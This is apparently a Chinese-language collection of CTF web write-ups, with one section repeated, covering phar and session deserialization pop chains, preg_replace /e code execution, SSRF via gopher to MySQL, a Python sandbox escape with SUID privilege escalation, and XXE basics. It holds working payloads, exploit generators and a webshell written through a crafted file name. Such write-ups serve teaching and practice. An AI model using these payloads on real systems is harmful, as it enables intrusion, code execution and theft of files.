显式销毁,当对象没有被引用时就会被销毁,所以我们可以unset或为其赋值NULL
隐式销毁,PHP是脚本语言,在代码执行完最后一行时,所有申请的内存都要释放掉

这里我们可以利用将数组的第一个元素设置为我们想要回收的对象,第二个元素设置为0,再进行序列化得到一串形如a:2{i:0;O:1:"B":0:{}i:1;i:0;}的字符串,详细说明一下这里面的值对应的含义:包含2个元素的数组{序号为0元素是B类的对象,长度为0:{没有元素};序号为1的元素是int型变量值为0},这里我们就可以将序号1改为序号0,形成a:2{i:0;O:1:"B":0:{}i:0;i:0;},这样就导致序号为1的元素变为了null,触发GC,这样就可以绕过throw new Error(“start”);了

接下来就可以去构造phar了,phar八股文:

1
2
3
4
5
6
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a".""); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();

这里的$o便是我们正常要序列化的类,在生成phar时会自动序列化,在这一段代码上面放上我们想反序列化的类并构造pop链,便可以在file_get_contents时进行反序列化了,所以我们还要先构造终点为echo new $p($value)的pop链

__cal:在对象中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用

首先我们先了解一下原生类

在CTF题目中,可以利用php原生类来进行XSS,反序列化,SSRF,XXE和读文件的思路
1.利用Error/Exception 内置类进行 XSS

1
2
3
$a = new Error("alert('xss')");
$b = serialize($a);
echo urlencode($b);

如果题目有反序列化但没有其他危险函数可以利用这一段函数,会直接弹出xss
2.利用SoapClient来进行SSRF

1
2
3
4
5
$a = new SoapClient(null,array('location'=>'http://ip:10000/aaa', 'uri'=>'http://ip:10000'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf

3.遍历文件目录的类
DirectoryIterator 类和FilesystemIterator 类(配合glob://协议使用模式匹配来寻找我们想要的文件路径)
GlobIterator 类(行为类似于 glob(),可以通过模式匹配来寻找文件路径,也就是不用写glob协议)
4.文件读取的类
SplFileObject 类(读取第一行)

题目给了我们flag在/,所以我们可以利用先遍历后读取的方式获得flag

接下来就是找pop链了,最后要到air类的__set,所以我们要定义air类里面的变量,也就是找等号左边有多个箭头的,正好apple的__get满足条件,所以我们将$this->xxx->$flag = $this->flag; 这里面的xxx定义为air类即可

然后就是触发__get了,我们要调用成员变量,所以找等号右边带多个等号的,tree的__call里面有,air类的__set也有,但air类的__set是我们的终点,所以是利用tree的__call,所以我们要将$arg[1] =$this->name->$name里面的name设置为apple类

最后就是tree的tree的__call的触发了,要在对象中调用一个不可访问方法时调用,也就是找个带括号的,刚好tree的__destruct就有,所以我们将name定义为一个未定义的函数即可,正好刚刚我们要将name定义为对象,这样链子就找到了

tree的__destruct->tree的__call->apple的__get->air类的__set

然后就是最终参数的确定,我们要执行DirectoryIterator(glob://f*),所以__set($p, $value)里面的$p要为DirectoryIterator,$value要为glob://f*,同时又因为$p = $this->p->act; ,所以我们还要定义一个air类来将p定义为唯一一个有act元素的类tree,然后将调用set时设定的值也就是$this->xxx->$flag = $this->flag; 里面的flag设置为glob://f*,文件读取时改DirectoryIterator为SplFileObject,glob://f*为文件名即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
< ?php
class air{
public $p;
}

class tree{
public $name;
public $act;
}

class apple {
public $xxx;
public $flag;
}
$a=new air();
$b=new apple();
$c=new tree();
$c->name=$b;
$b->xxx=$a;
$b->flag="glob://f*";
$d=new tree();
$d->act="DirectoryIterator";
$a->p=$d;
print_r(serialize($c));
?>

d4f41f554930fa7a1780893a3bc7c4a7.png

这里为了防止找pop链出现错误导致后面出错所以先自己搭了一个部分环境检验了一下

f152f0f00e2bf2a376a73ed7ff6536e8.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
< ?php
class air{
public $p;
}

class tree{
public $name;
public $act;
}

class apple {
public $xxx;
public $flag;
}
$a=new air();
$b=new apple();
$c=new tree();
$c->name=$b;
$b->xxx=$a;
#$b->flag="glob:///*f*";
$b->flag="/fflaggg";
$d=new tree();
#$d->act="FilesystemIterator";
$d->act="SplFileObject";
$a->p=$d;
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."< ?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($c); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件,随便新建一个文件内容随意
$phar->stopBuffering();//生成后删除最后一个}
?>

生成phar后还要注意我们要让phar的反序列化也能绕过throw new Error(“start”),所以要用010打开去掉最后一个}来触发GC(不太理解,网上的WP也少有解释)但是phar文件内还有签名,我们改动后会导致签名不符,所以我们要重新生成一次签名

这里有一个卡了我一天的地方,网上的脚本几乎全是sha1加密生成签名,但是实际上在php官网上有详细介绍phar的签名机制,可以有MD5,sha1,sha256,sha512不同的签名方式,同时在文件的倒数5到8个字节逆向分别用0x0001,0x0002,0x0003,0x0004代指对应的签名方法,可能是版本迭代的原因,我们生成的phar为03,也就是sha256加密,这样就导致我们的脚本与我们的文件加密方式不同,导致签名损坏。

8ad62c25-f7cd-4f89-8856-c31ba43af34a.png

下面的报错也是证明了这一点

3f866775-d9ad-4792-b2d7-ba0ec30e5b8b.png

所以我们要将我们文件中的03改为02,这样我们的脚本与签名就是对应的了

9fc9ee57-be0c-4b30-88f1-929cea5ce0a3.png

1
2
3
4
5
6
7
8
import gzip
from hashlib import sha1
with open('C:\\Users\\10900\\Desktop\\phar\\phar.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
open("phar2.phar","wb").write(newf)

生成好后进行url编码来用file_put_contents写入文件

1
2
3
4
5
import urllib.parse
with open("phar2.phar", 'rb') as fi:
f = fi.read()
ff = urllib.parse.quote(f) #获取信息
print(ff)

上传的同时还要用GC回收垃圾机制绕过,所以还要给1这个参数序列化

1
2
3
4
5
6
7
8
9
< ?php
class D {
public $start="w";
}
$a=new D();
$flag=array($a,0);
print_r(serialize($flag));
?>
a:2:{i:0;O:1:"D":1:{s:5:"start";s:1:"r";}i:1;i:0;}

改1为0,a:2:{i:0;O:1:"D":1:{s:5:"start";s:1:"r";}i:0;i:0;},写入为w,读取改为为r

不过上传后发现waf函数触发,原来是我们的phar里面含有php,所以可以利用压缩绕过

五种可以触发phar的文件
普通phar
gzip
bzip2
tar
zip

压缩后再url编码进行上传即可绕过,然后再用phar读取回显的路径即可

这里还有一个又卡了我半天的地方,就是火狐的hackbar插件上传时可能并没有进行url解码,所以导致我用火狐上传时一直报错,换成BP后就好了(苦呀西)

d7c0af7d-be69-453a-83ac-c83bbbfdf091.png
264074f0-b9b4-4792-8cf5-d039dca923b0.png
58d515bf-91c2-4c62-8650-11cd128ef949.png

简单的RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
< ?php
if($_GET['moran'] === 'flag'){
highlight_file(__FILE__);
if(isset($_POST['task'])&&isset($_POST['flag'])){
$str1 = $_POST['task'];
$str2 = $_POST['flag'];
if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){
die('hacker!');
}else{
preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
}
}
}else{
echo "moran want a flag.(?moran=flag)";
}

没有环境,在本体把服务器跑起来,首先先$_GET['moran'] === 'flag',非常简单,然后就在网页看到代码了,接下来就是过滤绕过以及利用preg_replace进行代码执行了

preg_replace如果第一个参数是/e模式,就会在替换时将第二个参数当做代码执行,然后/i模式是大小写不敏感,所以这里直接将第三个参数大小写绕过即可执行替换

然后就是代码执行部分,过滤了很多,这里可以绕过的方式还是挺多的,比如利用base64_decode()绕过,利用多次传参task=$_GET[1]($_GET[2]);然后get传参?1=system$2=ls /等等,这里就用多次传参好了。

?moran=flag&1=system$2=ls / task=$_GET1;&flag=Please_give_me_flag
?moran=flag&1=system$2=cat /flag.txt task=$_GET1;&flag=Please_give_me_flag

EasySignin

打开环境是个登录页面,下面还有个注册跳转,先去注册一下,然后发现admin用户名被占用,于是注册了个admin1,然后登录。

登录后可以看图片,但是点进去发现被限制不让看,联系前面的admin用户名被占用,判断可能要越权登录admin账号才能看,刚好旁边还有个修改密码,去抓包该页面的请求,果然传入的参数有用户名,这样就简单了,直接把用户名admin1改成admin就能修改admin的密码,进而登录其账号了。

aec355635e14bccdca6768fae37c33e1.png

登录后去看图片果然就可以了,然后就被图吸引了,想着可能图片里面藏着flag,然后就和flag渐行渐远了

然后一段时间后环境关了重新弄了一遍才发现图片还是随机的,爽看图片喵

c27da523d674e0448bfbbf1ed157d4f3.png

这里注意到url中get了一个url的参数作为回显图片的网址,所以我们可以通过修改这个url参数来做到ssrf,但是尝试多次直接利用file伪协议读取都在源代码base64回显bm9ub25v(nonono),也就是代表可能被过滤

到这里就不得不提gopherus这个工具的使用了:此工具可以自动生成 Gopher payload,以利用 SSRF并获得 RCE。
该工具的攻击范围:
MySQL (Port-3306)
PostgreSQL(Port-5432)
FastCGI (Port-9000)
Memcached (Port-11211)
Redis (Port-6379)
Zabbix (Port-10050)
SMTP (Port-25)

这里可以用gopher://127.0.0.1:端口来判断那一个能攻击

然后判断出MySQL是有回显的,这样就可以用gopherus写入MySQL命令show database;select load_file('/flag');了,这里使用默认MySQL用户名root,然后url编码一次即可。

e09d2af5cece4ad2171defcd8479c126.png

将回显base64解码得到flag

8a2d5d67fe10cf69bedb2ffda563ef62.png

pyblockly

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
from flask import Flask, request, jsonify
import re
import unidecode
import string
import ast
import sys
import os
import subprocess
import importlib.util
import json

app = Flask(__name__)
app.config['JSON_AS_ASCII'] = False

blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"

def module_exists(module_name):

spec = importlib.util.find_spec(module_name)
if spec is None:
return False

if module_name in sys.builtin_module_names:
return True

if spec.origin:
std_lib_path = os.path.dirname(os.__file__)

if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
return True
return False

def verify_secure(m):
for node in ast.walk(m):
match type(node):
case ast.Import:
print("ERROR: Banned module ")
return False
case ast.ImportFrom:
print(f"ERROR: Banned module {node.module}")
return False
return True

def check_for_blacklisted_symbols(input_text):
if re.search(blacklist_pattern, input_text):
return True
else:
return False



def block_to_python(block):
block_type = block['type']
code = ''

if block_type == 'print':
text_block = block['inputs']['TEXT']['block']
text = block_to_python(text_block)
code = f"print({text})"

elif block_type == 'math_number':

if str(block['fields']['NUM']).isdigit():
code = int(block['fields']['NUM'])
else:
code = ''
elif block_type == 'text':
if check_for_blacklisted_symbols(block['fields']['TEXT']):
code = ''
else:

code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
elif block_type == 'max':

a_block = block['inputs']['A']['block']
b_block = block['inputs']['B']['block']
a = block_to_python(a_block)
b = block_to_python(b_block)
code = f"max({a}, {b})"

elif block_type == 'min':
a_block = block['inputs']['A']['block']
b_block = block['inputs']['B']['block']
a = block_to_python(a_block)
b = block_to_python(b_block)
code = f"min({a}, {b})"

if 'next' in block:

block = block['next']['block']

code +="\n" + block_to_python(block)+ "\n"
else:
return code
return code

def json_to_python(blockly_data):
block = blockly_data['blocks']['blocks'][0]

python_code = ""
python_code += block_to_python(block) + "\n"


return python_code

def do(source_code):
hook_code = '''
def my_audit_hook(event_name, arg):
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) > 4:
raise RuntimeError("Too Long!")
for bad in blacklist:
if bad in event_name:
raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)

'''
print(source_code)
code = hook_code + source_code
tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
try:
if verify_secure(tree):
with open("run.py", 'w') as f:
f.write(code)
result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
os.remove('run.py')
return result
else:
return "Execution aborted due to security concerns."
except:
os.remove('run.py')
return "Timeout!"

@app.route('/')
def index():
return app.send_static_file('index.html')

@app.route('/blockly_json', methods=['POST'])
def blockly_json():
blockly_data = request.get_data()
print(type(blockly_data))
blockly_data = json.loads(blockly_data.decode('utf-8'))
print(blockly_data)
try:
python_code = json_to_python(blockly_data)
return do(python_code)
except Exception as e:
return jsonify({"error": "Error generating Python code", "details": str(e)})

if __name__ == '__main__':
app.run(host = '0.0.0.0')

依然没有环境,flask框架启动一下,发现没有index.html,index.html里面本来是能发出post请求的,然后我们就能通过发出的post进行一下修改来py沙箱逃逸

还是先审计一下代码吧,主函数处理post请求(json_to_python->block_to_python->check_for_blacklisted_symbols)->do(python_code)->verify_secure

重点在do函数里面,他会写入run.py并运行,这就给了我们任意代码执行的漏洞,但是阻碍也很多,我们来一一攻破

首先是check_for_blacklisted_symbols,他会检测是否有blacklist_pattern里面的符号,如果有,则无法写入text模块,也就是限制我们不能有blacklist_pattern里面的符号,但是如果没有,他会执行unidecode函数

unidecode 函数将文本中的特殊字符替换为与之最接近的 ASCII 字符,以产生一个干净的 ASCII 字符串。

所以我们可以利用这一点将我们想要用到的符号转换为特殊字符,且保证unidecode函数能将其变回来,这里偷懒不想一个个试了,应该全半角转换即可

然后就是verify_secure,他会检测我们是否进行了import,对我们的代码进行了限制,不允许我们导入模块

最后就是hook_code,他会在我们写入的run.py前面加上一段代码进行代码运行检测,既ban掉了我们几个命令执行函数,也限制事件名称长度不超过4.

这里偷一个wp里面的该题传参的json模版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
"blocks": {
"blocks": [
{
"type": "print",
"id": "print1",
"inputs": {
"TEXT": {
"block": {
"type": "text",
"id": "text1",
"fields": {
"TEXT": "s"')\nprint(open("/etc/passwd", "r").read())\n#"
}
}
}
}
}
]
}
}

这里通过修改text部分来进行代码执行,不过由于原代码是print(‘TEXT’),所以我们要先闭合print命令,再注释掉后面,才能进行代码执行,python里面用\n来断开命令

2fbc9ff1-3293-4ae7-aab6-c5b688daef63.png

这里open命令ai是能帮助想到的,但是实际环境中因为权限不足,只能读取/etc/passwd而不能读取诸如flag.txt,所以这里还要Linux 提权

于是考虑绕过长度检测,这里可以使用重写len函数的方式,使其永远返回3

“TEXT”: “s"')\n__builtins__.len = lambda x: 3\nprint(len("asdbb"))\n#”

返回3则证明修改成功

然后就可以利用os.system,按照ssti模版注入的方式执行任意命令了,将下面的命令全半角转换,再替换掉上面的print命令即可

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")

然后就是提权了,探测SUID文件

SUID(Set User ID)文件是一种特殊权限的文件,它允许用户以文件所有者的权限运行该文件。如果未经授权的程序或用户能够越权读取这些文件,可能会导致敏感信息泄露、系统被攻击或权限被滥用。

find / -perm -u=s -type f 2>/dev/null
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)表示重定向
/dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

这里会找到dd这个命令

dd是一个在类Unix系统中用于复制文件并对原文件的内容进行转换和格式化处理的命令。其基本语法为dd [选项],常见的选项有if(输入文件)、of(输出文件)等。

所以这里只需要dd if=/flag命令即可得到flag

没有环境还是坐牢

剩下两道都发过了

web1234

首先打开页面发现几乎啥也没有,关于这种啥也没有的肯定先dirsearch扫描一下,如果没扫描到有用的就查看一下robots.txt,这里是在robots.txt里面看到有www.zip这一个备份文件,下载下来发现是源文件,包含3个php文件

首先看一下index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
< ?php
error_reporting(0);
include "class.php";

$Config = unserialize(file_get_contents("/tmp/Config"));

foreach($_POST as $key=>$value){
if(!is_array($value)){
$param[$key] = addslashes($value);
}
}

if($_GET['uname'] === $Config->uname && md5(md5($_GET['passwd'])) === $Config->passwd){
$Admin = new Admin($Config);
if($_POST['m'] === 'edit'){

$avatar['fname'] = $_FILES['avatar']['name'];
$avatar['fdata'] = file_get_contents($_FILES['avatar']['tmp_name']);
$nickname = $param['nickname'];
$sex = $param['sex'];
$mail = $param['mail'];
$telnum = $param['telnum'];

$Admin->editconf($avatar, $nickname, $sex, $mail, $telnum);
}elseif($_POST['m'] === 'reset') {
$Admin->resetconf();
}
}else{
die("pls login! :)");
}

这里面给出了我们登录的要求是uname和md5(md5($_GET[‘passwd’]))与Config对应的相同,所以我们去包含的class.php里面看看Config到底是什么。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
< ?php
class Admin{
public $Config;
public function __construct($Config){
//安全获取基本信息,返回修改配置的表单
$Config->nickname = (is_string($Config->nickname) ? $Config->nickname : "");
$Config->sex = (is_string($Config->sex) ? $Config->sex : "");
$Config->mail = (is_string($Config->mail) ? $Config->mail : "");
$Config->telnum = (is_string($Config->telnum) ? $Config->telnum : "");
$this->Config = $Config;
echo '






';
}
public function editconf($avatar, $nickname, $sex, $mail, $telnum){
//编辑表单内容
$Config = $this->Config;
$Config->avatar = $this->upload($avatar);
$Config->nickname = $nickname;
$Config->sex = (preg_match("/男|女/", $sex, $matches) ? $matches[0] : "武装直升机");
$Config->mail = (preg_match('/.*@.*\..*/', $mail) ? $mail : "");
$Config->telnum = substr($telnum, 0, 11);
$this->Config = $Config;
file_put_contents("/tmp/Config", serialize($Config));
if(filesize("record.php") > 0){
[new Log($Config),"log"]();
}
}
public function resetconf(){
//返回出厂设置
file_put_contents("/tmp/Config", base64_decode('Tzo2OiJDb25maWciOjc6e3M6NToidW5hbWUiO3M6NToiYWRtaW4iO3M6NjoicGFzc3dkIjtzOjMyOiI1MGI5NzQ4Mjg5OTEwNDM2YmZkZDM0YmRhN2IxYzlkOSI7czo2OiJhdmF0YXIiO3M6MTA6Ii90bXAvMS5wbmciO3M6ODoibmlja25hbWUiO3M6MTU6IuWwj+eGiui9r+ezlk92TyI7czozOiJzZXgiO3M6Mzoi5aWzIjtzOjQ6Im1haWwiO3M6MTU6ImFkbWluQGFkbWluLmNvbSI7czo2OiJ0ZWxudW0iO3M6MTE6IjEyMzQ1Njc4OTAxIjt9'));
}
public function upload($avatar){
$path = "/tmp/".preg_replace("/\.\./", "", $avatar['fname']);
file_put_contents($path,$avatar['fdata']);
return $path;
}
public function __wakeup(){
$this->Config = ":(";
}
public function __destruct(){
echo $this->Config->showconf();
}
}
class Config{
public $uname;
public $passwd;
public $avatar;
public $nickname;
public $sex;
public $mail;
public $telnum;
public function __sleep(){
echo "alert('edit conf success\\n";
echo preg_replace('//','\n',$this->showconf());
echo "')";
return array("uname","passwd","avatar","nickname","sex","mail","telnum");
}
public function showconf(){
$show = "avatar))."\"/>";
$show .= "nickname: $this->nickname";
$show .= "sex: $this->sex";
$show .= "mail: $this->mail";
$show .= "telnum: $this->telnum";
return $show;
}
public function __wakeup(){
if(is_string($_GET['backdoor'])){
$func = $_GET['backdoor'];
$func();//:)
}
}
}
class Log{
public $data;
public function __construct($Config){
$this->data = PHP_EOL.'$_'.time().' = \''."Edit: avatar->$Config->avatar, nickname->$Config->nickname, sex->$Config->sex, mail->$Config->mail, telnum->$Config->telnum".'\';'.PHP_EOL;
}
public function __toString(){
if($this->data === "log_start()"){
file_put_contents("record.php","data, FILE_APPEND);
}
}

中间有一段resetconf()//返回出厂设置,既然题目说把前端删了,用默认的应该就行了,所以我们去将默认数据的base64解码一下,得到uname和md5(md5($_GET[‘passwd’]))的信息,然后再爆破一下passwd就能顺利登录了

md5爆破

爆破成功后登录,发现是个类似于文件上传的界面

接下来还是继续审计源代码吧,这里出题人给了两个提示点:)和:O,分别在

1
2
3
4
5
6
public function __wakeup(){
if(is_string($_GET['backdoor'])){
$func = $_GET['backdoor'];
$func();//:)
}
}
1
2
3
public function __toString(){
if($this->data === "log_start()"){
file_put_contents("record.php","

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。

所以我们可以利用session写入文件来进行反序列化,刚好我们也有上传文件的功能,在session_start的同时上传session文件不就可以实现控制session文件的内容来反序列化了吗

启动反序列化的能力有了,接下来就是反序列化去做什么了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class Admin{
public $Config;
public function editconf($avatar, $nickname, $sex, $mail, $telnum){
//编辑表单内容
$Config = $this->Config;
$Config->avatar = $this->upload($avatar);
if(filesize("record.php") > 0){
[new Log($Config),"log"]();
}
}
public function upload($avatar){
$path = "/tmp/".preg_replace("/\.\./", "", $avatar['fname']);
file_put_contents($path,$avatar['fdata']);
return $path;
}
}
class Log{
public $data;
public function __construct($Config){
$this->data = PHP_EOL.'$_'.time().' = \''."Edit: avatar->$Config->avatar, nickname->$Config->nickname, sex->$Config->sex, mail->$Config->mail, telnum->$Config->telnum".'\';'.PHP_EOL;
}
public function __toString(){
if($this->data === "log_start()"){
file_put_contents("record.php","data, FILE_APPEND);
}

这里的当recoed.php不为空时写入log的功能给了我们植入木马的可乘之机,利用data中包含的avatar的文件路径加之php文件的;分句和#注释功能,所以我们就可以将文件名设置为1';eval($_POST[1]);#来写马

所以我们就要让record.php不为空,刚好__toString()魔术方法可以写入,所以只要反序列化最终执行到__toString()即可,所以要让class Log被视为字符串,刚好Config的showconf的(file_get_contents($this->avatar)会将他的一个元素视为字符串,刚好Config的__sleep()会执行showconf,这样链子就找到了

Config的__sleep()->Config的showconf->log的__toString()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
< ?php
class Admin{
public $Config;
}
class Config{
public $uname;
public $passwd;
public $avatar;
public $nickname;
public $sex;
public $mail;
public $telnum;
}
class Log{
public $data= "log_start()";
}
$b=new Config();
$c=new Log();
$b->avatar=$c;
print_r(serialize($b));
O:6:"Config":7:{s:5:"uname";N;s:6:"passwd";N;s:6:"avatar";O:3:"Log":1:{s:4:"data";s:11:"log_start()";}s:8:"nickname";N;s:3:"sex";N;s:4:"mail";N;s:6:"telnum";N;}

f732c43235a3100a54d0a226768e5bf0.png

然后为了文件被视为session文件,将文件名命名为sess_xxx,再将刚才的序列化对象填进去,这里我们还有根据环境变量session.serialize_handler将我们的文件改为对应的格式

b116d4f88eb7c18dacd952a9a1616bf1.png
d99c2316-f9af-45ff-9b17-35f93530777d.png

所以这里我们要用|将我们的序列化对象放在其后面才能启动反序列化,最终文件内容为xianxin|O:6:"Config":7:{s:5:"uname";N;s:6:"passwd";N;s:6:"avatar";O:3:"Log":1:{s:4:"data";s:11:"log_start()";}s:8:"nickname";N;s:3:"sex";N;s:4:"mail";N;s:6:"telnum";N;}

然后就是在文件上传的同时启动session_start,还要将cookie设置为PHPSESSID=xxx,抓包处理

7fbfeeff13214d18667bc6d545685fd3.png

然后就是写马了

6b0bc37e187f32a6f1da57e20658d714.png

接下来去访问record.php就可以任意命令执行了

8bfbde4353a25bf7c9ee947415277c0b.png

得到flag

DASCTF{26ebb27e-923d-4717-91c6-ce4a614505cb}

[BJDCTF2020]Mark loves cat

进入页面非常多按钮,先不急着一个个看,先dirsearch扫一下,扫到.git,直接githack启动,得到源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
< ?php
include 'flag.php';
print_r($flag);
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){ // $键 = $值的值
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;// $handsome = flag的值 ---> $handsome = $flag --> $x=handsome & $y=flag
}
// 需要不满足以下几个条件
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //不能同时 flag的值等于某个键名,那个键值又是flag
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){// 不能同时 GET 和 POST 都没设置 flag
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){// 任意都不能满足 flag === 'flag'
exit($is);
}
echo "the flag is: ".$flag;

然后就代码审计,本地一点点试,把$flag输出出来就好

c6bfd4284f36a3a1192999590a88d373.png

最后试出来一种payload

?yds=handsome&handsome=flag&flag=yds

865de144-633f-491f-b690-1dfba019913e.png

得到flag

[网鼎杯 2020 朱雀组]phpweb

打开页面发现一直在变,抓包看一下发现一直在自动传入func和p两个参数,默认为data和一串看不懂的字符串,将func随手删掉一点变为dat,发现报错call_user_func() expects parameter 1 to be a valid callback,且透露了call_user_func()为两个参数的执行命令,所以我们可以利用这一个函数进行RCE

但是尝试了system,eval,assert等几个后发现回显hacker!,判断有过滤,这里可以利用file_get_contents来先读取一下index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
< ?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

过滤的挺全,但是我们可以利用Test类的魔术方法__destruct()来绕过过滤,也就是利用反序列化,利用call_user_func()来构造unserialize函数进行反序列化

1
2
3
4
5
6
7
8
9
10
11
< ?php
class Test {
var $p;
var $func = "system";
}
$a=new Test();
//$a->p="ls /";
//$a->p="find -name *flag*";
$a->p="cat /tmp/flagoefiu4r93";
print_r(serialize($a));
?>

ls /一下没有发现flag,所以直接find找,找到后cat就拿到flag了

1.png
2.png

EasySignin

打开环境是个登录页面,下面还有个注册跳转,先去注册一下,然后发现admin用户名被占用,于是注册了个admin1,然后登录。

登录后可以看图片,但是点进去发现被限制不让看,联系前面的admin用户名被占用,判断可能要越权登录admin账号才能看,刚好旁边还有个修改密码,去抓包该页面的请求,果然传入的参数有用户名,这样就简单了,直接把用户名admin1改成admin就能修改admin的密码,进而登录其账号了。

aec355635e14bccdca6768fae37c33e1.png

登录后去看图片果然就可以了,然后就被图吸引了,想着可能图片里面藏着flag,然后就和flag渐行渐远了

然后一段时间后环境关了重新弄了一遍才发现图片还是随机的,爽看图片喵

c27da523d674e0448bfbbf1ed157d4f3.png

这里注意到url中get了一个url的参数作为回显图片的网址,所以我们可以通过修改这个url参数来做到ssrf,但是尝试多次直接利用file伪协议读取都在源代码base64回显bm9ub25v(nonono),也就是代表可能被过滤

到这里就不得不提gopherus这个工具的使用了:此工具可以自动生成 Gopher payload,以利用 SSRF并获得 RCE。
该工具的攻击范围:
MySQL (Port-3306)
PostgreSQL(Port-5432)
FastCGI (Port-9000)
Memcached (Port-11211)
Redis (Port-6379)
Zabbix (Port-10050)
SMTP (Port-25)

这里可以用gopher://127.0.0.1:端口来判断那一个能攻击

然后判断出MySQL是有回显的,这样就可以用gopherus写入MySQL命令show database;select load_file('/flag');了,这里使用默认MySQL用户名root,然后url编码一次即可。

e09d2af5cece4ad2171defcd8479c126.png

将回显base64解码得到flag

8a2d5d67fe10cf69bedb2ffda563ef62.png

[NCTF2019]Fake XML cookbook

一个有关xxe漏洞的题

xxe漏洞

XXE漏洞原理
漏洞成因:解析时未对XML外部实体加以限制,导致攻击者将恶意代码注入到XML中,导致服务器加载恶意的外部实体引发文件读取,SSRF,命令执行等危害操作。
特征:在HTTP的Request报文出现一下请求报文,即表明此时是采用XML进行数据传输,就可以测试是否存在XML漏洞。
Content-type:text/xml application/xml

DTD
文档类型定义(DTD):可以合法的XML文档构建模块,可以被声明在XML的文档中,也可以作为一个外部的引用。这里也就是XXE存在的地方。
外部实体
有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,
外部实体的引用可以利用如下协议
file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
